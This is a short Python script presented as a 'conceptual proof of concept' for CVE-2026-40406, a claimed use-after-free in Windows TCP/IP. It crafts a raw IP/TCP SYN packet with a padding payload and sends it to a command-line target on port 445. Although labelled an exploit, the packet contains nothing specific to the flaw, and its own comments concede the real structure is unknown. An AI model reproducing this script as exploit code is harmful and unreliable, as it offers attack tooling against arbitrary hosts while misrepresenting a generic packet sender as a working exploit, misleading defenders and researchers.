import socket
import struct
import sys
# Conceptual Proof of Concept for CVE-2026-40406
# This script attempts to trigger the UAF in Windows TCP/IP.
# Note: Actual packet structure requires reverse engineering.
def create_malformed_packet(src_ip, dst_ip, dst_port):
# IP Header construction
ip_ihl = 5
ip_ver = 4
ip_tos = 0
ip_tot_len = 0 # Kernel will fill this
ip_id = 54321
ip_frag_off = 0
ip_ttl = 64
ip_proto = socket.IPPROTO_TCP
ip_check = 0 # Kernel will fill this
ip_saddr = socket.inet_aton(src_ip)
ip_daddr = socket.inet_aton(dst_ip)
ip_header = struct.pack('!BBHHHBBH4s4s', (ip_ver << 4) + ip_ihl, ip_tos, ip_tot_len,
ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)
# TCP Header construction designed to trigger race condition/UAF
tcp_source = 12345
tcp_dest = dst_port
tcp_seq = 1000
tcp_ack_seq = 0
tcp_doff = 5
tcp_flags = 0x002 # SYN
tcp_window = socket.htons(5840)
tcp_check = 0
tcp_urg_ptr = 0
tcp_header = struct.pack('!HHLLBBHHH', tcp_source, tcp_dest, tcp_seq, tcp_ack_seq,
(tcp_doff << 4) | 0, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)
# Payload that might influence the freed object size
payload = b'A' * 20
packet = ip_header + tcp_header + payload
return packet
def main(target_ip):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
packet = create_malformed_packet('192.168.1.2', target_ip, 445)
s.sendto(packet, (target_ip, 0))
print(f'[*] Malformed packet sent to {target_ip}')
s.close()
except PermissionError:
print('[-] Error: Root/Admin privileges required.')
except Exception as e:
print(f'[-] Error: {e}')
if __name__ == '__main__':
if len(sys.argv) < 2:
print('Usage: python cve_2026_40406_poc.py <target_ip>')
else:
main(sys.argv[1])